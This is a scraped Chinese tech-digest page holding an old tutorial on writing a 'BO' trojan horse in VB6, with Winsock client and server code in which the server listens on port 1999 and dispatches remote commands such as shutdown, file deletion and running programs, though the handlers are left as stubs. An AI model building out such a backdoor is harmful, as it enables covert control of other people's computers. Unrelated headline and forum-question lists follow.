说三道四技术文摘-感悟人生的经典句子
说三道四 > 文档快照

浅谈用VB6.0编写BO程序

HTML文档下载 WORD文档下载 PDF文档下载
浅谈用VB6.0编写BO程序


上海船舶电子设备研究所 洪杭迪

  BO又称“特洛伊木马”, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

  使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

  在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

Private Sub cmdConnect_Click()
 If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
  MsgBox ("请输入主机名或主机IP地址。")
  Exit Sub
 Else
  If Len(Text1.Text) > 0 Then
   tcpClient.RemoteHost = Text1.Text
  Else
   tcpClient.RemoteHost = Text2.Text
  End If
 End If
 tcpClient.Connect
 Timer1.Enabled = True
End Sub

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

Private Sub Form_Load()
 tcpServer.LocalPort = 1999
 tcpServer.Listen
End Sub

  准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

Private Sub tcpServer_ConnectionRequest(ByVal requestID As Long)
    If tcpServer.State < > sckClosed Then
      tcpServer.Close '检查控件的 State 属性是否为关闭的。
    End If  '如果不是,在接受新的连接之前先关闭此连接。
    tcpServer.Accept requestID
End Sub

  这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

Private Sub tcpServer_DataArrival(ByVal bytesTotal As Long)
 Dim strData As String
 Dim i As Long
 Dim mKey As String
 tcpServer.GetData strData 
 '接收数据并存入strData
 For i = 1 To Len(strData)
 '分离strData中的命令
  If Mid(strData, i, 1) = "@" Then
   mKey = Left(strData, i - 1)
   '把命令ID号存入mKey
   '把命令参数存入strData 
   strData = Right(strData, Len(strData) - i)
   Exit For
  End If
 Next i 
 Select Case Val(mKey)
  Case 1
   '驱动器名、目录名、文件名
  Case 2
   '强制关闭服务器端的计算机
  Case 3
   '强制重启服务器端的计算机
  Case 4
   '屏蔽任务栏窗口;
  Case 5
   '屏蔽开始菜单;
  Case 6
   '按照客户机端传过来的文件名或目录名,而删除它;
  Case 7
   '屏蔽热启动键;
  Case 8
   '运行服务器端的任何程序
 End Select 
End Sub
详细程序略。

  客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

  另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

Private Sub tcpServer_Close()
 tcpServer.Close
 tcpServer.Listen
End Sub

  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。

  成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。


iOS付费榜首:日历应用Fantastical开发者专访 玩转AdMob移动广告:捕鱼达人的猎财之道 12306抢票插件拖垮GitHub 展望2013 jQuery核心团队成员谈其发展路线 Facebook社交视觉搜索分析:引入“竞价排名”? 移动广告现状5大问题解析 Google将于月底举行Google Glass开发者大赛 分享29个超赞的响应式Web设计 Facebook图谱搜索和谷歌搜索有何不同? Facebook向美国iPhone用户提供免费电话 VMware CTO Steve Herrod离职 加盟风险投资公司 维基百科基金会推出众包旅游项目Wikivoyage 最舒适程序员:工作外包给中国 自己却偷懒 Evernote正在与苹果联合开发硬件记忆工具,未来两年公司上市 Fusion-io发布ioScale 全闪存数据中心时代到来? Agent Dash游戏设计之美:如何用2D打造3D体验? 开源项目文档应规避的13处“硬伤” 李开复:Graph Search将可与谷歌搜索媲美 月成本3500美元 如何在AWS上实现BBVA信用卡低延时分析 外媒眼中的国内互联网巨头:服务器集群庞大但缺乏创新 Facebook主导通用主板+SoC ARM与Intel同台对抗 假如像招聘程序员那样租车…… CrowdStar:Windows Phone 8是开发者的下一片蓝海 腾讯云总经理陈磊透露流量变现计划 将比亚马逊AWS更专注 代码之美——Doom3源代码赏析 英特尔公布2012财年财报 Q4净利润同比下滑27% 谷歌CEO佩奇:创新重于竞争 关注非增量改进 再尝败绩 微软杀软AV-TEST反病毒认证失败 财富:2013最佳雇主 谷歌第一微软75苹果未入榜 移动应用注册表单必死! 数据:2012年的全球互联网知多少 有关数据库的问题,请不吝赐教 怎样将16进制的转成Unicode? 我的XP不能被局域网内其他用户访问 只提一条记录的问题!! 为什么我的ServletContext会出错呢? 上传看不到主页啊???web.config vb+asp.net 很急,在线等待 網頁url傳遞參數變量及Form表單提交問題? 50分! 又是字符串,怎么总与我过不去 怎样把文件写入服务器端中映射的驱动器中,急 在线等。。。 [我贴我灌]世锦赛罗雪娟夺第三金 关于用户离职和升级后的处理? 代码问题,高手进 急,在线等待 DNS服务器的问题,高手救命!!!问题解决不了,老板要我走人了!!!!!(痛哭中 &&&&&&&&&) 鼠标当前位置的值与窗体位置如me.left 的值是怎么样换算的? 英文OS,我加一个中文字库,我要在我的程序中显示中文,该做些什么? 一个硬件问题,来看看吧!问了好多人多不明白 bcb6自带的install??? 简单要求 CSDN出的《JBuilder实用技术手册》到底怎么样呀?我看目录怎么像垃圾? 在jsp怎么取得用javabean连接得数据库中得记录总数 请教各位大师,如何用VB做一个象ComboBox一样的控件 web Service里的Application的问题 有没有能够打印固定行数的报表? 对XML不太熟悉,麻烦大家再看看! 关于bho及控制ie行为的问题, 如何动态的设置datawindow的计算域的表达式,及从程序中如何得到该计算域的值 [我贴我灌]巴塞罗那凯旋归来 “花样姑娘”泪洒观澜湖 一个到现在还没有解决的问题!我着急用啊!请哪位高手帮忙解决了,有高分相送! WIN32 CONSOLE APPLICATION 中怎么调用DLL (动态连接库) 怎么增加不了行,插入不了了?请大虾给个提示 50美元求作业! 如果没有学过C语言,能不能学J2SE啊? 100分请教:一个串行接口通信的问题————在线等待?!!!! 急,给个jb8中解决编辑jsp问题的补丁。谢谢 关于sendmail的设置以及PostNuke的安装 关于XML,XSL的兼容性问题 在SQL SERVER的视图不支持CASE语句吗?若要实现该如何写呢? 现在最标准的软件开发预算,各阶段的百分比是多少? ==========天哪!怎么会这样呢?我在全屏窗口中打开的任何窗口都是全屏显示的,可我不希望在全屏幕窗口中打开的窗口也是全屏怎么办啊?== 如何在远程服务器上安装web服务程序? 考虑到类的属性(表的字段)以后会增加,应该用怎样的设计模式或设计方法。 如何在子目录下获得根目录的网络路径? 急,IE每次打开都是最小化状态,怎样实现每次打开时将其最大化! 希望和大家讨论一下关于WebService的事务继承性的问题 请教一个关于日期使用的问题 急!!一个建表问题 WSAD怎么显示代码行号?? 50美元求作业!access 类地行星自行爆炸,或与其它天体碰撞能否产生核反应?有助于回答者给出准确的答案 一瓶液态氧(38升左右)按低流量给氧(1~2升/分,浓度30%)可以用多少小时? 天体碰撞会产生核反应吗? “人生得意须尽欢,莫使金樽空对月”的解释是什么? 一列快车从甲站到乙站需8小时,一列慢车从甲站到乙站需6小时,两车同时从两站相向开出,相遇时快车比慢车多行48千米.甲乙两站相距多少千米? 神经纤维属于器官还是组织要理由 神经纤维开始是处于什么状态的没兴奋是也就是 外正内负 还是内外 都不显 电性 已知购买1盒福娃玩具和2盒徽章工需145元;购买2盒福娃玩具和3盒徽章共需280.一盒福娃玩具和一盒徽章的价格各市多少? 星体的产生与大爆炸的关系 已知购买1盒福娃玩具和2盒徽章共需145元,购买2盒福娃玩具盒3盒徽章共需280元,要购一共要20盒这两种商品要求各种商品都买但总金额不能超过450元,请设计一个购物方案 尿是怎样产生的 小狗被饿三周吃伞充饥 其主人不愿救治男子扮高富帅专门诈骗按摩女 谎称投资巴西里约热内卢社会游民多 5000余媒体曝美全球监听地图 澳大利亚是美监近3成日本大学毕业生3年内离职 疑被美国艺术家创造“糖果肖像”庆祝万圣节法国一名抢劫犯曾为iPod及8欧元抢韩媒:中国学生“弃日择韩” 赴韩留学俄罗斯一科技园项目涉嫌违法 或致数百新10英镑钞票印简 奥斯丁头像 被批伊朗或取消向巴基斯坦供应天然气巨额合这几个微信号如美酒,愈酿愈是甘醇1995年,胡椒地里的歌声以及甘蔗一篇文章读懂营销的痛点、痒点、卖点!四步骤教你拿下高效人际关系!稻盛和夫:打造世界500强企业的十二\"兔子\"是怎样吃掉\"狼\"的?半场战罢国足2:0马尔代夫,杨旭姜宁玛莎拉蒂Levante售价公布 售9拒绝黑暗料理!智能平底锅手把手教你做国足防线坑爹险被偷袭 蔡振华现场摇头比利时两部长或因恐袭事件向首相辞职
备案号:鲁ICP备13029499号-2 说三道四 www.s3d4.cn 说三道四技术文摘